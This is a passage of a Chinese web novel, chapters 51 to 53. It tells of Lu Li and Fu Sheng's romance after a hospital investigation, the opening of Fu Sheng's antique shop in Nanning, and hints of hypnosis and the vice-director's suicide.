陆离捏了一下手指关节:“胸口。” 林淮说:“要不要喊医生?” 陆离一说谎就要捏手指,刚想说不用。傅生在一旁冷声说:“没事,他自己待一会儿就好。” 这其实算得上逐客令了,林淮眼镜后的眼睛注视了他一瞬,接着说:“啊,这样啊,是我考虑不周,那我就不打扰了。” 直到人走后,傅生看着陆离在床上起身,也不咳嗽了。 他将杯子手中放在桌子上,黝黑的眼睛看着他,像是在拗紧,又像是还压着别的。 “不装了?” “嗯。” 傅生看他一眼说,“那我们继续聊聊华盛医院这事。” 陆离看了他几秒,却突然伸手将他抱进怀里。 傅生被抱的怔了一下,又冷着声音说:“别来这招,这招对我没用。” 陆离闷着声说:“可对我有用。” 他想起了梦里看见大雪中孤零零的身影就一阵难过。 现在,他终于能抱到那道身影了。 他想带着傅生从冰天雪地走出来,一起去见见春天。 50-57 第0051章 第 51 章 ◎“你想跟我睡?”◎ 傅生感觉到抱着自己的力道, 那么紧,他叹了一口气。 半晌才道:“以后别这么冒险,我会担心你。” 陆离听着怀中人的声音, 感受着他的心跳, 两个人的心跳频率一样快。 “嗯, 以后不会了。” 病房里的阳光很充足, 两个人抱了一会, 直到蒋文在门口推门进来,看到这一幕,哎哟了两声。 “不是,你俩腻歪够了吗?”蒋文觉得没眼看,吐槽说, “不知道的,还以为你们两个在搞基呢。” 陆离皱了一下眉, 有些不舍的松开人, 看着蒋文才意识到一个问题。 他问:“你怎么来了?” “我怎么来了?”蒋文没好气,很不爽地说,“我当然是被你哥强行拽来的, 昨天傅生和疯了一样, 挂了你的电话, 就开车来了南宁。” 他打了一个哈欠说:“你们两个还挺有心有灵犀的,不过你小子也是有种, 一个人就直接敢向人家医院里去了?” 陆离直接忽略掉其他, 看向傅生,那双黑黝黝的眸子看过来一动不动地看着他, 虽然没有说话, 傅生却读懂了他的意思。 无非是, 你不让我冒险,你呢? 昨天那么大的雪。 若是有点意外,他不敢想。 陆离脸上冒着冷气。 其实两个人都知道,就算重来一次,他们依旧如此。 两人目光碰在一起,半晌,傅生轻车熟路地转开话题:“在地下三层发现了什么?” 陆离看着他,语气凉凉:“地下三层是什么你不知道?” “嗯?”傅生笑了一声,“我又没有去过,我怎么知道。” 陆离皱了一下眉:“你真没去过?” 傅生:“真没有去过。” 说着他又顿了一下,“你怎么会去地下三层的?” 陆离将董陶宁的事和傅生说了一遍。 傅生念了一下这个名字:“董陶宁。” 这个女生也是跳楼,同样和卢正风分不开关系。 和他上一世的区别是人虽然不一样了,但是事情还是发生了。 傅生颦了一下眉。 当年吴海昊也是。 他怕陆离受到伤害,其实算着时间关注过学校老师,但那一年都是风平浪静。 就在他以为这个人不会再出现的时候,结果又猝不及防地出现了。 傅生转着手上戒指,眉心小弧度颦着。 为什么有些事情总是逃不掉。 陆离注意的他走神:“你在想什么?” “没什么,”傅生眉心一松,转开眸子说,“你师兄呢?出去这么久,你不问问?” 他话还没有说完,周颂就推门进来了,“在这呢。” 他左右看了一圈,没看见林淮:“林淮呢?” “先走了,”傅生说,“你碰到他了?” “这样啊,不是碰到,他来的挺早的,你们没来之前他就到了,”周颂看向陆离说,“林淮知道了你的事之后就立刻赶过来了,你没醒之前,我出去了一会儿,是他在这里守着你。” 陆离眉心一颦。 他向来有话直说:“这位心理治疗师这么自来熟?” 周颂被他的话逗笑了:“可能是比较喜欢你。” 虽然知道周颂的喜欢没有别的意思,陆离还是瘫着脸看向傅生。 意思很明显:都是你招来的人。 傅生带着笑意:“人家说的是喜欢你,你看我干吗?” 陆离:“……” 他加起来和林淮不过是见过一面。 要点脸。 周颂看看这个,看看那个,没有听懂两个人在聊什么。 他有点跟不上两个人的脑回路,旁边的蒋文用过来人的口气说:“别在意,兄弟,等你习惯了就好了,他们两个人可能用脑电波交流,其他人听不懂。” “这样啊,”周颂不理解,却还是好脾气地说,“行,等我习惯习惯。” 陆离受的伤并不严重,在医院住了两天,胳膊上的伤已经没什么问题了。 傅生坐在病床旁边,手里削着苹果。 陆离的目光就落在他手指上。 傅生的手长得很好看,修长,骨结有匀称,像是一件完美艺术品,无论是动作还是静止,都格外的赏心悦目。 他削完皮,伸手将苹果给陆离递了过去,陆离低头看了一眼,却没有接。 傅生:“不吃?” 陆离抿着唇,又冷声说:“手疼。” 傅生瞬间笑了,他看了眼被陆离被包着纱布的胳膊,又移到他脸上。 陆离一动不动地看着他,疼的格外的理直气壮。 用这种冒着冷气的脸说出这话,傅生唇角的弧度越来越大,他装作看不懂,弯着眼睛说:“那怎么办?” 陆离看了须臾,将头扭开:“不吃了。” 傅生:“行,你不吃我吃了。” 陆离气结的嗯了一声。 半晌,一块切好的苹果就放在他嘴边,傅生说:“以后想要什么,可以直接告诉我。张嘴。” 陆离听着傅生的话愣了一下,将苹果吃完,才低声道:“那我要是想知道你所有的过往呢?” “就这么简单?” 就这么简单。 陆离心说,可是越简单的事,有时候越难办到。 “其实也没什么很重要的事,还挺乏善可陈的,”傅生垂着眸子,水果刀上映出他的眉眼,他动了一下收了刀说,“你要是想听,等你出院,我慢慢讲给你。” 可陆离并是不怎么希望出院。 因为他出院就代表傅生又要回北川了。 下午的时候,病房里的人还挺多,蒋文周颂都在。 小护士站在门口,拿着出院通知单在门口喊了一声:“12床的病人,医生说你伤口没多大事了,今天可以出院了。” 蒋文说了一句知道了,刚想把通知单接过来,坐在病床上陆离倏然开口:“等等。” 他疑惑的回头看向陆离:“怎么了?” 小护士也看了过来:“怎么?是不是还有哪里不舒服?” 陆离抿了一下唇,半晌点了点头说:“嗯。” 小护士抓了一下头发,看着出院单说:“不对啊,医生说你昨天就可以出院的,今天还多留了一天,你等等哈,我去让医生进来看看。” “嗯。” 小护士拔腿就跑出去了。 陆离看着他房间里人目光都聚集在自己身上,尤其是周颂。 陆离的伤口包扎的时候,他全程在看着,伤口不重,陆离也不像是在乎这点小伤的人。 蒋文也稀奇说:“你这伤口这是打通了你的痛觉神经?” 毕竟,陆离小时候被打得全身伤,也没见他哼哼一声。 痛觉神经,哪里是痛觉神经,是粘人精犯了。 傅生笑了一下,看破不说破,叹了一口气说:“不出院?本来还打算带你去新店瞧瞧,今天看来去不成了。” 陆离愣了一下,猛然看向傅生:“什么新店?” 蒋文在旁边说:“傅生还没有告诉你?他把店搬到南宁来了。” 陆离目光漆深看向傅生,像是在证实蒋文话的真假。 傅生笑了一下,“嗯,是搬到南宁来了。本来打算过两天再告诉你的。” 意思他和傅生不用分开了。 陆离就算开心,面目表情也依旧很淡,非要说的话,唇角的弧度要比平时弯一点。 “搬到哪里了?”他问。 傅生说:“花间一条街。” 陆离手指蜷了一下。 周颂在旁边讶然:“花间一条街城头的那家店是你买了去?” 傅生点头:“嗯,老板很爽快。” 那家店原本是个字画店,装修古朴,有独立的院子,很适合他继续开古董店。 最主要的是,里面的布局和北川那边的古董店差不多。 陆离看了傅生几秒,接着起身,朝着病房外走去。 蒋文:“这小子这么激动的干什么去了。” 周颂在这他师弟冷淡的表情中品出来点什么:“去护士那里拿出院通知单去了吧。” 蒋文却是一头问号。 不是刚才还说不出院吗? 这么快病就又好了? * 电视上正在报道华盛医院这件事。 警方发布了华盛医院卢正风被擒拿的消息,根据官方发布的通告,卢正风□□少女属实,并参与人口器官买卖等恶劣行径。 董陶宁的妈妈正在现场号啕大哭,她原本只是以为自己女儿遭受了校园暴力,却没想到还承受了这种事。 “请法律一定给我女儿做主,让卢正风偿命。” 她哭的涕泪横流的朝着记者说,记者安慰了她几句。 镜头一切换,华盛医院院长高奇山罕见的露了脸。 他站在医院门口在接受记者的采访,对于卢正风的行为表示深恶痛绝。 “我现在才知道卢正风竟然瞒着我做这种灭绝人性的勾当,也怪我长期出差,对于医院内部管理不善。以后我一定加强对医院人员的管理,杜绝此类事情的出现。” 医院因为这件事被勒令整顿,上下严查。 最后的画面,是卢正风被推进了警车里,警车最终消失在长道上。 周颂关了电视,看着陆离:“现在这件事差不多也算是圆满解决了。” 陆离垂着眸子,想起来了地下三层那些设备。 里面的装备完善,真的是一个人可以做成的事? 卢正风一个副院长真的已经只手遮天到这种地步? 周颂看着陆离走神,拿着水杯站在他旁边:“还在想什么?” 陆离摇了摇头,又倏然想起了什么:“师兄你是不是和警察很熟?” “嗯,”周颂说,“这次行动的队长是我老同学,怎么了?可是有事?” 陆离说:“能不能让他帮我在卢正风那里找样东西?” “嗯?什么?” “一枚戒指。” 周颂:“戒指?什么样的?” 陆离将他看到的那枚戒指的模样画下来,递给周颂:“这个。” 周颂垂眸看了一眼,“这个戒指可不常见。” 陆离:“嗯,市面上没有,是个孤品。” 周颂也没问别的将纸折叠了几下塞进了包里:“行。” 花间一条街的店装修得差不多了。 周围都是青墙青瓦,特别古朴。院子里有一棵超大的桂花树,遮天蔽日,几乎遮挡了小半个院子。 不过现在是冬天,所以枝叶上显得秃秃的,阳光穿过枝叶的缝隙又落在了傅生的脸上。 傅生躺在躺椅上没睁眼,一如在北川的时候。 陆离刚走进来,就是看到的这一幕。 他愣了一下,片刻走过去,伸手盖住了傅生的眼睛。 “陆离,”傅生眼睛都没睁开,就猜出了来人是谁,“下班了?” 陆离嗯了一声,手却没有松开,他低声说:“为什么总是喜欢在院子睡觉?” 傅生眼睛眨了一下。 睫毛刮得他的手心有点痒,半晌才听到傅生的声音。 “可能因为上辈睡得太少了。” 傅生想了想说。 他刚离开家的那段时间,其实心里也是害怕,也说不上来怕什么,可能只是一种孤独感。 所以他晚上总是睡不着觉。只敢在天快明的时候眯一小会,这种状况持续到成年之后,但成年后他得罪的人又太多了,晚上即便是睡觉也保持警惕。 重生之后,这个习惯其实一直没有改过来,晚上总是睡不踏实,只有在阳光充足的院子里,听着外面烟火人气,才勉强能眯上一会。 陆离其实知道答案,只是想要傅生亲口讲出来。 傅生讲的随意,他却听得心疼。 “好了,”傅生说,“话也讲完了,是不是可以松开我了?” 他说着伸手试图去抓陆离的手,只是还没有碰到,唇就被一片带着冷意给覆盖住了。 他愣了一下。 这是一个温柔的吻,和陆离冷冰冰的性格一点都不沾边,唇齿相依间,他感觉到对方的眷恋和柔软。 傅生闭上了眼睛承受了这个吻。 不知道过了多久。 直到院门口砰的一声,响起了酒瓶碎裂的声音,两个人才停下来。 傅生几秒适应了外面光线,这才侧头看去。 然后他就看到了蒋文站在门口,像是被雷劈了一样的表情。 很显然刚才的一幕让他受到了不小的打击。 傅生看向陆离:“完了,你蒋文叔被吓到了。” 陆离嗯了一声,随后又冷着嗓音说:“怪我。” 傅生笑开了。 蒋文听着两个人的对话,脸上更复杂的干愣了半晌才一步一步地挪进院子,然后手指了指傅生,片刻又移到了陆离身上。 “不是——你们——我——” 他真是日了狗了。 他竟然看到陆离这小子在亲他哥,还亲的这么难舍难分。 傅生笑了笑:“我们怎么了?” 蒋文指了半晌,也没有分出来到底谁是猪谁是白菜。 其实他早就应该发现的,就两个人说话的语气,还有平时腻歪紧,像是正常兄弟吗? 像吗? 不像! 谁家正经兄弟这样。 他竟然现在才发现,更可气的是,这两个人竟然没有告诉他。 蒋文感觉心头一万头草泥马奔驰而过,却又说不出别的,最后只能他将手指放了下去,没好气地说:“没怎么,是我蠢。我给你们做饭去。” 今天算是搬进花间一条街的第一天,三个人说好了庆祝。 不过庆祝新居有点变了味。 蒋文做了一桌子的菜,刚才的酒打碎了,他原本是想要再出去买一瓶,陆离站在一旁说:“我去吧。” 主要是下午之后蒋文看上去有点神情恍惚,刚才做饭的时候,好几次差点把糖当成了盐。 蒋文说:“也行,你去吧,我把菜炒完。” 陆离走后,蒋文将最后一个要炖的菜放下锅,才看向傅生:“你们这是——什么时候开始的。” “没多久。”傅生说。 蒋文一脸不信的盯着他。 傅生笑着说:“真没多久,也不是故意瞒着你的。” “行吧,”蒋文叹了一口气说:“我早就看出来陆离对你感情不正常了,只是没有想到你也——算了。” 他认真地看向傅生:“咱们三个在一起生活这么久了,我说句不要脸的,我也算是看着陆离长成这样的,我不是质疑你们的感情,但是你们两个的关系毕竟特殊,你有没有想过,万一分手——” 万一之后分手,两个人的关系可回不到最初了。 傅生还好,还有家人。 陆离可就只剩下他自己。 “不会,”傅生说。 蒋文看了他一眼:“你为什么这么笃定。” 傅生眼皮动了一下。 他们相遇本身就是不可能之下最盛大的浪漫。 “因为是我,因为是他。” 蒋文没听懂傅生的意思,不过就傅生溺爱陆离这样,估计也分不了手。 他觉得自己纯粹是咸吃萝卜淡操心。便摊了一下手:“你想好了就行,你们一步一步走到现在,确实不容易。我挺高兴的。” 说着,他把菜盛出来,“吃饭,为我们的高兴庆祝庆祝。” 傅生原本没有看出来蒋文哪里高兴了,直到这厮晚上吃饭的时候又连灌了三瓶酒。 “陆离,你不知道,”蒋文大着舌头说,“那天晚上接完你电话的时候,傅生的神态都要吓死了。我还从来没有见他那样。” 陆离坐在一旁。 “不对,”蒋文用他被酒水侵蚀的大脑想了想,“我见过一次,就是吴海昊那次。啊,两次都是因为你,我就没有这个待遇。” 傅生抱着胳膊坐在一旁,笑着看着蒋文撒酒疯,但是很快他就笑不出来了,因为这个大漏勺借着酒劲差点给他都漏干净。 “你大学离开的那三年,你哥虽然嘴上不说,但还是很伤心的,”蒋文说,“好几次晚上的时候,我都看见他站在咱们院子地下那棵橘子树下愣神。” 陆离眼睛动了一下,看向他:“橘子树。” “你还不知道那棵橘子树怎么来的吧,”蒋文笑了两声,“你高三的时候给你哥的福橘,他把种子留下来被他种在院子里了,时不时去浇个水,照顾的比院子里的那些花可矜贵多了。你哥也就照顾活了这一颗植物,确实不容易。” 陆离愣了一下,他一直以为那棵树是蒋文买回来的。 却没有想到是傅生种的,用的是福橘的种子。 他看向傅生。 傅生对着蒋文说:“蒋大嘴,你今天的话太多了。” 蒋文喝醉了酒可不怕黑心老板,对着人道:“爱这种东西,看不见,摸不着,但是感受得到。” 他拍了拍陆离,语重心长地说:“你哥他虽然黑心肝爱怼人,但是你哥他爱你!” 傅生:“……” 早知道就把这个二百五扔家里了。 好在蒋文这次虽然喝多了,却也知道见好就收。看着傅生的黑脸,他扶着楼梯就爬上了楼,又站在楼梯口对着两个人说:“晚安。玛卡巴卡,我先撤了。” 傅生额角抽了一下,接着转头,看到陆离的目光刚好落在他身上。 虽然自己被大漏勺漏了个彻底,但是傅老板神态自若:“现在回去?要不要我给你打个车?” 他们刚搬过来,陆离又在公寓住,所以就收拾出来两间房。 蒋文睡了一间,就只剩下一间。 傅生手指在打车软件上点了几下,陆离说:“不用。” “走着回去也行,”傅生没反应过来他这个不用是什么意思,又说,“反正也不远。我送你回去。” 陆离垂着眸子说:“喝酒了,走不动。” 傅生看了他几秒,解释说:“这里房间不够,不然就不让你回了。” 陆离没说话,也没动。 傅生在他沉默中倏然意识到什么,挑了一下眉说:“还是说,你想跟我睡?” 【作者有话说】 正文大概30万字。 傅生是陆离的一颗糖,生活苦了就舔舔。 第0052章 第 52 章 ◎今晚会有个好梦。◎ 陆离听到那几个字, 睫毛明显的颤了几下,半晌才道:“我可以睡地板。” 陆离之前也和傅生在一张床上睡过,但那时他年纪不大, 也没有分清楚那些懵懂的感情到底是什么。 但是现在——现在已经不可能心无旁骛了。 陆离捏着手指, 垂了一下眸子。 傅生目光在陆离脸上盯了几秒, 接着笑看着他道:“地板?确定吗?” 陆离:“嗯。” 傅生笑了一声, 没说话, 转身上了楼,陆离看着前方的身影,知道对方这是默认了。 这个房子装修是复古的风格,无论是地板还是楼梯都是用的上好的红木,踩上去的时候, 会有咯吱咯吱的响动。 声音并不躁人,反而带着岁月独有的味道, 傅生所住的房间在东头, 陆离进去之后,发现了他的房间和在北川古董店的布置简直一模一样,像是把北川的房间原封不动搬过来了。 傅生看着陆离解释说:“习惯了, 就没改。” 他其实是很念旧的人, 陆离心想。 傅生看他一眼, 带着点逗趣地说:“被子在橱柜里,自己去拿吧。” 房间很大, 在地上容纳十几个人都没问题。 陆离在地上铺自己的床铺的时候, 傅生去浴室洗澡。 浴室在房间里面,只隔了一堵墙。 洗澡的水流声透过门淅淅索索的传出来, 扰的他心思不定, 铺床铺了快半个小时才铺好。 铺完之后, 陆离坐在上面。 被子很软,他却没空注意,只是抿着唇在地面上愣了一会神。 直到浴室的门打开了,他的目光下意识看过去,喉结很轻的滑了一下。 傅生穿着宽松的居家服在浴室里走出来,手里拿着一条白色的毛巾,正在擦头发上的水滴。 这和陆离平时里看的傅生很不一样,他平时虽然性格懒散,穿着格外整齐讲究,现在却多了一点私人的味道,是他没见过的另一面。 “铺好了?”傅生走到他身边。 陆离抬头,刚好看到他额前的碎发上一滴水顺着他头发滑落下来,又快速顺着琵琶骨的轮廓,快速地隐入了衣服半遮的阴影里。 他下意识地伸手想抹去那滴水,被头顶的灯光一刺,又快速地回过神来。 他好像总是控制不住自己,尤其是在确认关系之后,总是想要离着傅生近一点。 傅生还好没注意到他刚才的心思,只是看着他,弯了一下眼睛:“真喝醉了?怎么看着呆呆的。” 陆离快速地起身说:“我去洗澡。” 说着就头也不回地去了浴室。 傅生看着那道背影看了几秒,最后眯了一下眼睛,又无奈地笑了一声。 等到陆离从浴室里出来,傅生半靠在床上,听到动静抬头瞥了他一眼“洗完了?”。 陆离嗯了一声,就看到傅生又低头拿着手机皱了眉。 陆离擦着头发走过去:“怎么了?” 傅生下意识地想说没什么。 但又想起来答应陆离的事,干脆将手机摊到他面前。 陆离垂眸看了过去,看到微信联系人那一栏有个好友申请。 他颦着眉:“林淮?” 傅生:“嗯。” 陆离:“他从哪里要来的你的联系方式?” 傅生摊了一下手,表示自己是也不知道。 陆离瘫着脸,一脸的不高兴。 他不明白,明明都换了一个壳子了,这个人为什么还像个狗皮膏药一样,死缠着傅生不放。 刚才傅生心情还有些复杂沉重,但看到陆离倏然好了起来,他欣赏了一会陆离脸色,还笑着有闲心打趣人:“我怎么不知道晚上有带醋的菜?” 陆离脸色更沉了,只是他脸色越难看,对方笑容就越大。 最后只能忍无可忍,压在人亲了半晌,又在傅生的唇上不重不轻地咬了一下,这才让无法无天的某人消停下来。 傅生气息不稳,摸了一下自己的唇角,笑了一声:“狗崽子,又咬人?。” 他拿起手机,刚想按下拒绝的键,结果手机就被陆离抽了去。 傅生挑了眉看他一眼。 陆离在上面按了通过键,什么话都没有说,钻到了自己铺好的地铺上。 他并不是想阻碍傅生什么,也不想干涉傅生交朋友,他只是有点不高兴。 傅生盯着床下的背影,有点好笑地摇了摇头,半晌垂了一下眸子,沉着声开口:“我和林淮认识了大概八九年吧。” 陆离冷着声说:“谁想知道你们的事。” 傅生笑了一声,只是想到什么,眸子又沉了下去。 陆离没有听到后话,半晌转过身子:“怎么不讲了?” 傅生的指尖动了一下。 他和林淮认识的时候,对方还没有开心理诊疗室,只是一个大一的学生。 蒋文和他当时来南宁不久,当时选中林淮为人物目标,第一是因为对方长相没有攻击性,看起来就长了一副好骗的模样。 第二是因为对方是大学生。 “在学校里的学生最好下手了,”蒋文说,“他们没有经受过社会的毒打,眼睛里总是有一种愚蠢的天真。” 陆离:“……” 他当时还没有褪去那身冷脾气,有什么事,蒋文总是喜欢自己行动,偶尔需要他上场,就比如现在。 蒋文拿出一沓钱放在地上,专门趁着林淮经过的时候,大声喊道:“哎哟我的天呢,这是谁的钱掉这里了?” 陆离:“……” 林淮路过,被他动静吓了一大跳,但是只是看了一眼,就要转身离开。 蒋文上前去将人拽住:“咱们三个见者有份,分了怎么样?” “不了吧,”林淮说。 蒋文还是头一次遇到这样的人,给钱都不要,但是不要钱他怎么讹人啊,他担心对方是怕后续有麻烦,所以不敢要,又补充道:“这里没有监控,也没有人看到,你不用担心。” 林淮很是奇怪地看了他一眼:“不要。” 蒋文更奇怪了,没忍住问了一句:“那是为什么?” 谁知道林淮说:“这点钱也值得捡起来分吗?” 这一沓钱两万块,对于当时的很多大学生都是一年的花销。 甚至对于某些家庭,是全家人一年的花销,这少吗? 蒋文觉得自己被打击到了,问了一句:“那得多少钱才值得分。” 林淮看了一眼,将自己双肩包拿下来,蒋文垂头一看,好几捆钞票就被随意地扔进包里,很显然只是几天的零用钱。 得,他这次显然看走眼了,竟然截了一个不差钱的少爷。 “下次行骗的时候注意点,多加点钱。”林淮语重心长地拍着蒋文的肩膀说,“别这么扣。” 蒋文:“你……你怎么看出来的?” 陆离当时觉得丢人,就伸手捏了捏鼻梁,林淮却朝着他看他过去:“我还是喜欢这个哥们的演技。” 他朝着陆离伸出手,“你好,我是林淮。” 两个人这样认识了,后来才知道,林淮是附近大学某位著名心理学教授的学生。 那天蒋文一说话,他就知道骗人的把戏,主要原因是,表情太假,演技浮夸,也就能骗骗寻常人,最主要的是陆离站在一旁,冷的冒气得脸挡都挡不住。 谁家捡钱是这个表情。 最主要的是,两个人的精神集中力都没有在手中的钱上,这说明钱不是重点,人才是。 他是被两个骗子挑中的猎物。 陆离那天听到林淮的话之后,开始自己找学习心理书籍。 他之前只是听说过心理学,却不知道心理学还有能识破人心的能力。只是通过脸上的几种表情,就能够看出对方在想什么。 但是他的起步太低,又没有系统的教学,所以总是卡在一道门外,怎么也进不去,后来林淮知道这件事,主动地带着他学习。 有时候是在学校公开课的时候带着陆离进去偷师。 有时候是将老师给他开的小灶记成笔记偷偷带给陆离。 直到林淮大学毕业,林淮说原本以为自己的天赋已经很少见了,但是陆离比他更适合这碗饭,三年的时间,他身上那层冷淡像是脱胎换骨一样褪的干净。 他褪了一层皮,却又像是把自己包裹得更严了。 他弯着眼睛笑得时候,林淮也看不出他的心思。 …… 陆离皱着眉,听傅生以前的事,有点嫉妒配了他这么久的林淮。 但傅生张一次嘴讲以前实在是不容易,所以他压下那点醋意,低着声音开口: “后来呢?” 傅生颦了一下眉,手下意识转着手指上的戒指。 “后来——” 后来他在界内逐渐出名,□□白道找他的人不断,他怕连累林淮,就自动的断了联系,再后来出了卢正风那事,再次收到林淮消息的时候,却是一封威胁信。 消息是用林淮的手机发来的,他不知道谁发的。 他再次去心理诊断室的时候,里面的人已经消失了。 下落不明,生死不知。 因为他,蒋文和林淮,都是因为他,才落得这个下场。 “傅生?”陆离看着走神的人,喊了他一声。 傅生捏着手上的戒指,接着又松开,表情看不出他在想什么。 “我没事,”他说,又看向陆离,“还不睡?明天不是还要去事务所” 陆离盯着傅生看了几秒,确定他是真的没事,才重新躺了回去。 “那我睡了,”他冷调的嗓音开口。 傅生垂着眸子看他, 陆离躺在地面上,地上虽然铺着被子,却总归是不舒服。 他叹了一口气,开口说:“上床睡吧。” 本来也没有打算真的让他睡地上。 陆离闻言,愣了一下,有些复杂的看向傅生。 “不来?”傅生说,“那我关灯了。” 他手指按在开关上,啪的一声,房间顿时陷入了一片黑暗。 接着他就听到了些许的动静,再然后身侧就陷下去一块。 傅生就知道陆离脸皮薄,若是开着灯,是绝对不动的。 毕竟刚才在楼下还信誓旦旦地说睡地板。 “不是睡地板吗?”傅老板感觉到身侧的体温,刚才还没有被亲改,又开始张嘴招惹人。 陆离那边安静了一瞬,须臾却只是将人搂进怀里。 又在他额头上亲了一下,低声说:“睡吧,今晚有我在。” 傅生一愣,这一刻他才知道陆离为什么非要留下。 ——他傍晚在院子里说的自己晚上不得好眠,只是随意几句话,却被陆离记在了心里。 半晌,他温声说了句晚安,觉得自己今晚会有个好梦。 【作者有话说】 晚上八点才到家,少更一点。 (纯情小狗没办法,给他点时间。) 第0053章 第 53 章 ◎你是想对你哥图谋不轨还是大逆不道?”◎ 蒋文清晨醒过来, 手指抓了抓自己因为宿醉昏沉的后脑勺,昨天喝了多少来着,想不起了。 刚准备下楼, 就看到傅生住的房间的门开了, 陆离从里面走出来, 蒋文脑子没有反应过来, 刚想说一句:你昨天没回去啊? 接着就看到傅生紧随其后。 然后, 他用他被酒精浸蚀的脑子想了半晌,两个人!从一个房间!走出来的! 一个房间! 蒋文瞬间露出有点牙疼的表情,他看了看傅生,又看了看陆离,竟然分不清谁更畜生一点。 傅生注意到那边的动静, 朝他看了过去,看清楚蒋文脸色, 瞬间笑了:“你昨天晚上喝的假酒?这么上头。” 上头个屁。 刚才还分不出来, 但是这会蒋文分出来了,傅生就是那个畜生。 这个人以前每天起来,几乎都得黑着脸几秒, 一看就是没睡好, 但是今天如沐春风的, 吸了谁的阳气他也不说。 这么想着,他又将目光悄悄扫了一眼陆离。 傅生注意到, 伸手伸手挡了一下, 笑着说:“别看了,脸皮薄一会再看跑了。” 陆离:“……” 他不想理会楼上这两红白双簧, 转身下楼说:“我去事务所了。” “吃了饭再去, ”傅生站在楼梯口说, “都在一条街上,你最后一分钟都能跑过去。” 蒋文也在一旁应和:“是,给我五分钟,马上给你做出来。” 于是,从来没有卡着点上班的陆离,头一次在最后一分钟走进了事务所的大门,就连周颂都稀奇地看了他一眼。 不过他没有说什么,反倒是一旁的导师说:“今天家里有事?” 因为在他的印象里,陆离无论是在学校里,还是去找他做什么项目,从来都是第一个到。 陆离脸色瘫了一下,他总不能说被某人强留在家里吃了一个早饭所以差点迟到吧。 但是他又不擅长说谎,杵在一旁抿着唇线,周颂帮他说话道:“师弟家里最近忙,老师你刚才说什么?” “哦。”导师这么一被打断,止住了话头,“这次学院里对于华盛医院的事情很是重视,陆离,你整理一下,抽时间给学校里做个汇报。” 陆离点了一下头。 导师上午还有课,没有在事务所里多待,将人送走之后,周颂说:“你上次说的那个戒指——” 陆离敲着键盘的手顿了一下,看向周颂。 周颂端着一杯咖啡站在一边:“老于说,无论是他家里,还是他的副院长办公室,都调查了一个遍,没有看到那枚戒指。” 老于是那位老刑警。 陆离颦眉:“没有?” 周颂嗯了一声,又说:“那个戒指很重要?还是说有什么特殊含义?” 陆离抿了一下唇。 为什么会没有? 是因为丢了,还是本来他就没有。 周颂向来会看脸色,就没有再问。 陆离手指放在键盘上没动,片刻他抬起来头:“他现在在哪里?” 周颂:“医院,老于说他可能是被警察抓的时候吓到了,心脏病发作,现在还待在医院里。” 陆离总觉得事情不太对劲,但是具体哪里不对劲又说不出来。 周颂看他神色不对,转开话题说:“傅先生的古董店什么时候开业?我到时候好去捧个场。” 陆离:“明天。” 花间一条街算得上是南宁的古城区,周围住的都是老居户,新店一开业就显得尤其稀奇,所以一大早就围了一圈人。 蒋文最擅长招呼人,叔叔长阿姨短地把周围的人哄得一愣一愣。 陆离没有去事务所,因为事务所的老板今天都跑到古董店来了,周颂将贺礼递给陆离,看向傅生:“恭喜啊,傅老板。” 傅生客客气气:“谢谢,周律师。” “客气什么,”周颂说,“我和陆离都是同门师兄弟,算得上的一家人。” 傅生看了他一眼:“确实。” 虽然嘴里说的确实,但周颂莫名地觉得那一眼包含东西有些多。 不过还没等他细细品味过来,门口又多了一个人。 林淮拿着贺礼站在门口:“没来晚吧?” 傅生眉心颦了,又恢复正常:“没有,谢谢。” 如果说他对于周颂不客气,对于林淮却是过分的生疏了。 陆离看着傅生在林淮手中接过去手中的贺礼,除了那句谢谢就没有再说一句话。 像是在刻意躲避。 林淮也注意到了,开玩笑道:“都见过两面了,应该算得上朋友了吧。” 傅生笑了一下,眼角的弧度却是冷淡的:“林心理师的朋友这么好当的吗?” 这话听起来像是玩笑话,但傅生说话向来不喜欢让别人下不来台,这种语气说话很是少见。 陆离站在一旁,手指垂了一下。 昨天的时候,他已经知道林淮和傅生的过往,知道林淮在傅生心中的分量应该占得挺重,最起码和蒋文一样。 他若是像是对待蒋文一样对待林淮,陆离也不会多想。 只是现在这么生疏,反而让他心里有点微妙的芥蒂 ——为什么,是怕再牵连林淮? 对于傅生的冷淡,林淮也没有介意,反而笑着问:“昨天和傅老板发消息,你怎么一直没有回?” 傅生挂着礼貌的笑说:“不好意思,可能是太忙了,没有看到。” 可能连周颂都觉得两个人的谈话太僵硬了,走过来插了一句:“这两天开业,回不过来消息也很正常。” 林淮笑了一下,表示理解。 陆离本来就话少,别人说话的时候,他垂着眼睛站在一旁,林淮又把目光落在了他身上。 “你是周颂的师弟,也算得上是我学弟,咱们一个学校的,只不过是不同学院。”林淮说。 陆离嗯了一声。 林淮又问:“为什么当时选了这个专业。又没有兴趣再选修一下心理方面,我看你挺有这个天赋的。” 陆离本来想说没有兴趣,又倏然想起来什么,问道:“你们催眠,是不是不需要辅助的工具?” 林淮像是没有想到陆离问这个问题,先是愣了一下,手下意识的转手指上的戒指,但转了个空,他垂眸看了一眼自己空无一物的手指,眼睛沉了一下,但瞬间又恢复了寻常:“这个要看心理师的天赋。” 他将自己西装的袖口向下拉了一下:“催眠师对于精神专注度和感知力要求很高。顶尖心理催眠师不需要借助任何工具,但是普通的心理催眠师则需要声音或者动作引起受术者的注意,将全部的集中力集中在受催眠者身上。” 陆离抿了一下唇,他见过很多次傅生催眠和心理操控别人,确实没有使用任何东西。 那林淮既然是和傅生一起学的,也应该差不多。 他又想起了自己在医院躺着的时候,似乎有个人蛊惑似的开口,问他看到了什么。 而周颂说林淮在他病房里待过。 是碰巧?还是他想多了? 林淮看着陆离长时间没出声,试探性地问道:“陆学弟,你见过这种?” “没有。” 陆离冷淡地开口 他捏了下手指,骨结很清脆的响了一声。 “没有吗?林淮唇角微动,又刻意地压低声音,“其实除了这些,顶级催眠师还引导别人,对死亡进行暗示。” 陆离皱着眉看向他。 “你现在的脉搏非常慢感受到了吗?为什么?因为你的脉搏降到了50,现在是40,30,20……感受到窒息了吗?”林淮压着眼睛,声音低沉地说。 陆离:“……” 林淮在他肩膀上拍了一下,笑着说:“骗你的。” 陆离终于将眼前的人和傅生活里说蒋文骗人太抠的人重合在一起,一本正经中又带着点恶趣味。 “没其他事了,我先走了,”陆离转身,刚想离开,身后林淮却突然来了一句。 “你怎么会突然盯向卢正风,小学弟?是因为董陶宁?” 陆离转头看向他,却见林淮垂着眸子,似乎只是随口一问。 他刚想开口,周颂倏然从门口走进来,“师弟,刚才老于打电话过来,说卢正风死了。” “死了?”陆离瞳孔一紧,猛然抬头看向他,“怎么死的。” 周颂说:“自杀。” 